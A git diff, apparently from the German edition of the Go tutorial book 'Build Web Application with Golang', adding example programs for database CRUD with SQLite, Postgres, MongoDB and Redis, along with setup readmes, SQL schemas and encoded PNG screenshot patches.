0000000000000000000000000000000000000000..d805156b421a6c081e565cecdb01cb824aaabce8 GIT binary patch literal 3072 zcmeHJPfNov6i?crwCH)KK|Hy!4K^!!Q@a^-*mbjZ!cI1>Z&29UtxeUdem}p4H!pqy z6GsmY#EUSHJo57LlJ|%Fk{5Dw?L-{NG)d=-6AP6P#^{U?gpes%7hDh)gHoXgDfQpT zM9nv}E37o_9qFf{Q=|~s6aqtSt6Z<+F=zKP$d)s4^Y1cP<`7TTRlVy`+o#00I}Rml zw$+%;p&>kL&nI}hT&duf!B@;YgEWe#Ng=gwQG#MRAXU>aj3AG~fb?9SUQmw=yt5Pk_2{rh+>zs~)roo zbGb3;X&NcZS*8cGx%Q$ .read schema.sql + + Show tables + + sqlite> .tables + userinfo + + +- Step 4) Exit sqlite. + + sqlite> .exit + +- Step 5) Run `go get` to download and install remote packages. +- Step 6) Run the program with `go run main.go` + diff --git a/de/code/src/apps/ch.5.3/schema.sql b/de/code/src/apps/ch.5.3/schema.sql new file mode 100644 index 00000000..55aebb48 --- /dev/null +++ b/de/code/src/apps/ch.5.3/schema.sql @@ -0,0 +1,6 @@ +CREATE TABLE `userinfo` ( + `uid` INTEGER PRIMARY KEY AUTOINCREMENT, + `username` VARCHAR(64) NULL, + `department` VARCHAR(64) NULL, + `created` DATE NULL + ); diff --git a/de/code/src/apps/ch.5.4/main.go b/de/code/src/apps/ch.5.4/main.go new file mode 100644 index 00000000..d4e19b1a --- /dev/null +++ b/de/code/src/apps/ch.5.4/main.go @@ -0,0 +1,77 @@ +// Example code for Chapter 5.4 from "Build Web Application with Golang" +// Purpose: Show how to perform CRUD operations using a postgres driver +package main + +import ( + "database/sql" + "fmt" + _ "github.com/bmizerany/pq" + "time" +) + +const ( + DB_USER = "user" + DB_PASSWORD = "" + DB_NAME = "test" +) + +func main() { + dbinfo := fmt.Sprintf("user=%s password=%s dbname=%s sslmode=disable", + DB_USER, DB_PASSWORD, DB_NAME) + db, err := sql.Open("postgres", dbinfo) + checkErr(err) + defer db.Close() + + fmt.Println("# Inserting values") + + var lastInsertId int + err = db.QueryRow("INSERT INTO userinfo(username,departname,created) VALUES($1,$2,$3) returning uid;", + "astaxie", "software developement", "2012-12-09").Scan(&lastInsertId) + checkErr(err) + fmt.Println("id of last inserted row =", lastInsertId) + + fmt.Println("# Updating") + stmt, err := db.Prepare("update userinfo set username=$1 where uid=$2") + checkErr(err) + + res, err := stmt.Exec("astaxieupdate", lastInsertId) + checkErr(err) + + affect, err := res.RowsAffected() + checkErr(err) + + fmt.Println(affect, "row(s) changed") + + fmt.Println("# Querying") + rows, err := db.Query("SELECT * FROM userinfo") + checkErr(err) + + for rows.Next() { + var uid int + var username string + var department string + var created time.Time + err = rows.Scan(&uid, &username, &department, &created) + checkErr(err) + fmt.Println("uid | username | department | created ") + fmt.Printf("%3v | %8v | %6v | %6v\n", uid, username, department, created) + } + + fmt.Println("# Deleting") + stmt, err = db.Prepare("delete from userinfo where uid=$1") + checkErr(err) + + res, err = stmt.Exec(lastInsertId) + checkErr(err) + + affect, err = res.RowsAffected() + checkErr(err) + + fmt.Println(affect, "row(s) changed") +} + +func checkErr(err error) { + if err != nil { + panic(err) + } +} diff --git a/de/code/src/apps/ch.5.4/readme.md b/de/code/src/apps/ch.5.4/readme.md new file mode 100644 index 00000000..1bb60858 --- /dev/null +++ b/de/code/src/apps/ch.5.4/readme.md @@ -0,0 +1,12 @@ +##Setup for ch.5.4 + +- Step 1) Install and run Postgres +- Step 2) Create a user and database according to the constants in `main.go` + + DB_USER = "user" + DB_PASSWORD = "" + DB_NAME = "test" + +- Step 3) Create table `userinfo` located at `schema.sql` +- Step 4) Run `go get` to download and install the remote packages. +- Step 5) Execute the program with `go run main.go` diff --git a/de/code/src/apps/ch.5.4/schema.sql b/de/code/src/apps/ch.5.4/schema.sql new file mode 100644 index 00000000..001e8433 --- /dev/null +++ b/de/code/src/apps/ch.5.4/schema.sql @@ -0,0 +1,9 @@ +CREATE TABLE userinfo +( + uid serial NOT NULL, + username character varying(100) NOT NULL, + departname character varying(500) NOT NULL, + Created date, + CONSTRAINT userinfo_pkey PRIMARY KEY (uid) +) +WITH (OIDS=FALSE); diff --git a/de/code/src/apps/ch.5.5/main.go b/de/code/src/apps/ch.5.5/main.go new file mode 100644 index 00000000..ce90e960 --- /dev/null +++ b/de/code/src/apps/ch.5.5/main.go @@ -0,0 +1,170 @@ +// Example code for Chapter 5.5 +// Purpose is to show to use BeeDB ORM for basic CRUD operations for sqlite3 +package main + +import ( + "database/sql" + "fmt" + "github.com/astaxie/beedb" + _ "github.com/mattn/go-sqlite3" + "time" +) + +var orm beedb.Model + +type Userinfo struct { + Uid int `beedb:"PK"` + Username string + Department string + Created string +} + +const DB_PATH = "./foo.db" + +func checkError(err error) { + if err != nil { + panic(err) + } +} +func getTimeStamp() string { + return time.Now().Format("2006-01-02 15:04:05") +} +func insertUsingStruct() int64 { + fmt.Println("insertUsingStruct()") + var obj Userinfo + obj.Username = "Test Add User" + obj.Department = "Test Add Department" + obj.Created = getTimeStamp() + checkError(orm.Save(&obj)) + fmt.Printf("%+v\n", obj) + return int64(obj.Uid) +} +func insertUsingMap() int64 { + fmt.Println("insertUsingMap()") + add := make(map[string]interface{}) + add["username"] = "astaxie" + add["department"] = "cloud develop" + add["created"] = getTimeStamp() + id, err := orm.SetTable("userinfo").Insert(add) + checkError(err) + fmt.Println("Last row inserted id =", id) + return id +} + +func getOneUserInfo(id int64) Userinfo { + fmt.Println("getOneUserInfo()") + var obj Userinfo + checkError(orm.Where("uid=?", id).Find(&obj)) + return obj +} + +func getAllUserInfo(id int64) []Userinfo { + fmt.Println("getAllUserInfo()") + var alluser []Userinfo + checkError(orm.Limit(10).Where("uid>?", id).FindAll(&alluser)) + return alluser +} + +func updateUserinfo(id int64) { + fmt.Println("updateUserinfo()") + var obj Userinfo + obj.Uid = int(id) + obj.Username = "Update Username" + obj.Department = "Update Department" + obj.Created = getTimeStamp() + checkError(orm.Save(&obj)) + fmt.Printf("%+v\n", obj) +} + +func updateUsingMap(id int64) { + fmt.Println("updateUsingMap()") + t := make(map[string]interface{}) + t["username"] = "updateastaxie" + //update one + // id, err := orm.SetTable("userinfo").SetPK("uid").Where(2).Update(t) + //update batch + lastId, err := orm.SetTable("userinfo").Where("uid>?", id).Update(t) + checkError(err) + fmt.Println("Last row updated id =", lastId) +} + +func getMapsFromSelect(id int64) []map[string][]byte { + fmt.Println("getMapsFromSelect()") + //Original SQL Backinfo resultsSlice []map[string][]byte + //default PrimaryKey id + c, err := orm.SetTable("userinfo").SetPK("uid").Where(id).Select("uid,username").FindMap() + checkError(err) + fmt.Printf("%+v\n", c) + return c +} + +func groupby() { + fmt.Println("groupby()") + //Original SQL Group By + b, err := orm.SetTable("userinfo").GroupBy("username").Having("username='updateastaxie'").FindMap() + checkError(err) + fmt.Printf("%+v\n", b) +} + +func joinTables(id int64) { + fmt.Println("joinTables()") + //Original SQL Join Table + a, err := orm.SetTable("userinfo").Join("LEFT", "userdetail", "userinfo.uid=userdetail.uid").Where("userinfo.uid=?", id).Select("userinfo.uid,userinfo.username,userdetail.profile").FindMap() + checkError(err) + fmt.Printf("%+v\n", a) +} + +func deleteWithUserinfo(id int64) { + fmt.Println("deleteWithUserinfo()") + obj := getOneUserInfo(id) + id, err := orm.Delete(&obj) + checkError(err) + fmt.Println("Last row deleted id =", id) +} + +func deleteRows() { + fmt.Println("deleteRows()") + //original SQL delete + id, err := orm.SetTable("userinfo").Where("uid>?", 2).DeleteRow() + checkError(err) + fmt.Println("Last row updated id =", id) +} + +func deleteAllUserinfo(id int64) { + fmt.Println("deleteAllUserinfo()") + //delete all data + alluser := getAllUserInfo(id) + id, err := orm.DeleteAll(&alluser) + checkError(err) + fmt.Println("Last row updated id =", id) +} +func main() { + db, err := sql.Open("sqlite3", DB_PATH) + checkError(err) + orm = beedb.New(db) + var lastIdInserted int64 + + fmt.Println("Inserting") + lastIdInserted = insertUsingStruct() + insertUsingMap() + + a := getOneUserInfo(lastIdInserted) + fmt.Println(a) + + b := getAllUserInfo(lastIdInserted) + fmt.Println(b) + + fmt.Println("Updating") + updateUserinfo(lastIdInserted) + updateUsingMap(lastIdInserted) + + fmt.Println("Querying") + getMapsFromSelect(lastIdInserted) + groupby() + joinTables(lastIdInserted) + + fmt.Println("Deleting") + deleteWithUserinfo(lastIdInserted) + deleteRows() + deleteAllUserinfo(lastIdInserted) +} diff --git a/de/code/src/apps/ch.5.5/readme.md b/de/code/src/apps/ch.5.5/readme.md new file mode 100644 index 00000000..fcad11c8 --- /dev/null +++ b/de/code/src/apps/ch.5.5/readme.md @@ -0,0 +1,23 @@ +## Set up for `ch.5.5` + +- Step 1) Download and install sqlite 3. +- Step 2) Run `sqlite3 foo.db` to create a databased called `foo`. +- Step 3) Create the tables found in `schema.sql` in sqlite. + + Read and run sql statements + + sqlite> .read schema.sql + + Show tables + + sqlite> .tables + userinfo + userdetail + +- Step 4) Exit sqlite. + + sqlite> .exit + +- Step 5) Run `go get` to download and install remote packages. +- Step 6) Run the program with `go run main.go` + diff --git a/de/code/src/apps/ch.5.5/schema.sql b/de/code/src/apps/ch.5.5/schema.sql new file mode 100644 index 00000000..da897d5f --- /dev/null +++ b/de/code/src/apps/ch.5.5/schema.sql @@ -0,0 +1,12 @@ +CREATE TABLE `userinfo` ( + `uid` INTEGER PRIMARY KEY AUTOINCREMENT, + `username` VARCHAR(64) NULL, + `department` VARCHAR(64) NULL, + `created` DATE NULL +); +CREATE TABLE `userdetail` ( + `uid` INT(10) NULL, + `intro` TEXT NULL, + `profile` TEXT NULL, + PRIMARY KEY (`uid`) +); diff --git a/de/code/src/apps/ch.5.6/mongodb/main.go b/de/code/src/apps/ch.5.6/mongodb/main.go new file mode 100644 index 00000000..9013f5ae --- /dev/null +++ b/de/code/src/apps/ch.5.6/mongodb/main.go @@ -0,0 +1,58 @@ +// Example code for Chapter 5.6 from "Build Web Application with Golang" +// Purpose: Shows you have to perform basic CRUD operations for a mongodb driver. +package main + +import ( + "fmt" + "labix.org/v2/mgo" + "labix.org/v2/mgo/bson" +) + +type Person struct { + Name string + Phone string +} + +func checkError(err error) { + if err != nil { + panic(err) + } +} + +const ( + DB_NAME = "test" + DB_COLLECTION = "people" +) + +func main() { + session, err := mgo.Dial("localhost") + checkError(err) + defer session.Close() + + session.SetMode(mgo.Monotonic, true) + + c := session.DB(DB_NAME).C(DB_COLLECTION) + err = c.DropCollection() + checkError(err) + + ale := Person{"Ale", "555-5555"} + cla := Person{"Cla", "555-1234"} + + fmt.Println("Inserting") + err = c.Insert(&ale, &cla) + checkError(err) + + fmt.Println("Updating") + ale.Phone = "555-0101" + err = c.Update(bson.M{"name": "Ale"}, &ale) + + fmt.Println("Querying") + result := Person{} + err = c.Find(bson.M{"name": "Ale"}).One(&result) + checkError(err) + fmt.Println("Phone:", result.Phone) + + fmt.Println("Deleting") + err = c.Remove(bson.M{"name": "Ale"}) + checkError(err) +} diff --git a/de/code/src/apps/ch.5.6/mongodb/readme.md b/de/code/src/apps/ch.5.6/mongodb/readme.md new file mode 100644 index 00000000..a2aa6410 --- /dev/null +++ b/de/code/src/apps/ch.5.6/mongodb/readme.md @@ -0,0 +1,6 @@ +##Setup for `ch.5.6` for MongoDB + +- Step 1) Install and run MongoDB +- Step 2) Launch the MongoDB daemon (mongod) to start the server. +- Step 3) Run `go get` to download and install the remote packages. +- Step 4) Execute the program with `go run main.go` diff --git a/de/code/src/apps/ch.5.6/redis/main.go b/de/code/src/apps/ch.5.6/redis/main.go new file mode 100644 index 00000000..9bac3f30 --- /dev/null +++ b/de/code/src/apps/ch.5.6/redis/main.go @@ -0,0 +1,60 @@ +// Example code for Chapter 5.6 from "Build Web Application with Golang" +// Purpose: Shows you have to perform basic CRUD operations for a redis driver. +package main + +import ( + "fmt" + "github.com/astaxie/goredis" +) + +func checkError(err error) { + if err != nil { + panic(err) + } +} + +const ( + DB_PORT = "9191" + DB_URL = "127.0.0.1" +) + +func main() { + var client goredis.Client + + // Set the default port in Redis + client.Addr = DB_URL + ":" + DB_PORT + + // string manipulation + fmt.Println("Inserting") + err := client.Set("a", []byte("hello")) + checkError(err) + + // list operation + vals := []string{"a", "b", "c", "d"} + for _, v := range vals { + err = client.Rpush("l", []byte(v)) + checkError(err) + } + fmt.Println("Updating") + err = client.Set("a", []byte("a is for apple")) + checkError(err) + err = client.Rpush("l", []byte("e")) + checkError(err) + + fmt.Println("Querying") + val, err := client.Get("a") + checkError(err) + fmt.Println(string(val)) + + dbvals, err := client.Lrange("l", 0, 4) + checkError(err) + for i, v := range dbvals { + println(i, ":", string(v)) + } + + fmt.Println("Deleting") + _, err = client.Del("l") + checkError(err) + _, err = client.Del("a") + checkError(err) +} diff --git a/de/code/src/apps/ch.5.6/redis/readme.md b/de/code/src/apps/ch.5.6/redis/readme.md new file mode 100644 index 00000000..fb8a70d8 --- /dev/null +++ b/de/code/src/apps/ch.5.6/redis/readme.md @@ -0,0 +1,10 @@ +##Setup for `ch.5.6` for Redis + +- Step 1) Install and run Redis +- Step 2) Launch the Redis server matching the DB constants. + + DB_PORT = "9191" + DB_URL = "127.0.0.1" + +- Step 3) Run `go get` to download and install the remote packages. +- Step 4) Execute the program with `go run main.go` diff --git a/de/code/src/mymath/sqrt.go b/de/code/src/mymath/sqrt.go new file mode 100644 index 00000000..6f089e05 --- /dev/null +++ b/de/code/src/mymath/sqrt.go @@ -0,0 +1,12 @@ +// Example code for Chapter 1.2 from "Build Web Application with Golang" +// Purpose: Shows how to create a simple package called `mymath` +// This package must be imported from another go file to run. +package mymath + +func Sqrt(x float64) float64 { + z := 0.0 + for i := 0; i < 1000; i++ { + z -= (z*z - x) / (2 * x) + } + return z +} diff --git a/de/images/1.1.cmd.png b/de/images/1.1.cmd.png new file mode 100644 index 0000000000000000000000000000000000000000..0df2504b2e3df10f8c3a1595ff93f6f08da446ff GIT binary patch literal 11206 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 B_ICgP literal 0 HcmV?d00001 diff --git a/de/images/1.1.linux.png b/de/images/1.1.linux.png new file mode 100644 index 0000000000000000000000000000000000000000..539563d96c6eda2e3ae25d9777306c034cab0312 GIT binary patch literal 11235 zcmbt)2UJt-w(SN46hRc}AXw;CKm?KIkAO6h-g{H3bVA35)ChzkEwl*IJ4g$PfDj~9 z=>dVzTLJ+RAiVhBbKg7TjPve$_q~ykk&OK%d+&UiYpprwS~1U_s?*W1(*OWKr}5;m zJ^+y42LQ6si{zvutqt9Sq!%iCE%nF1`JYE#dvOZs$fcK0%zOdh%J)A{vQ*(K8~|_= z(0KgFFerO_?rZHbUu~q_cmjxQ_bdn%(w6IAHRrX}T5>6Y{f8mnUmrTpRn^sRFi~E- z_2H^&7?H3KhDV&79gi!W^FNKz8E#gY_V^D1^(6ZVZ4;GgcRLU1OvETD{mFJ8ru*jR}}$|;1gZI zo6m=PYAotyn!`Y;D4|1NvBR0f8cfw(p`~z)Utev&CE(?(D$}kZr1fKH2&ST{E}}o> z!|W9{v`$tsSyhvI*}M36Y`c$WU93-^eL|a#2!+Pbhh_n+HU6_VGTIn*2OogwRT^)YWZGl!@W%? zmr1ZtSwnur@QU~gHT$w28DgR2XG5EB0^HRV#a4zRDwa?a4XLVFaC%X$8vB6()|Tz{ zNYxr{lIQTFvp*(e2{Raa88;yQnWuX~J-(bg2&ryf2u|VFt*`jY@QJPNqLpEZo9n=< zM-KqHns^a&*O1i%wR(ULyWToK5t z_>0Bq<71b5MSY*jp6_hKa$8`Owqh?>oU&uj9H|aNQu1L=t~fs^co4nL6_^4?R@Iu1 zv{MmJTQYv%+AU{bVVT%IYiS%XD%3ba2xu`SIt&9>ifajQGo zY&jIsZDuj%Egoz3s^ZJrV>RtWa8lyBCM})u#Hxto0WD(xNxX4X`>jpIAdYh1!l_bg 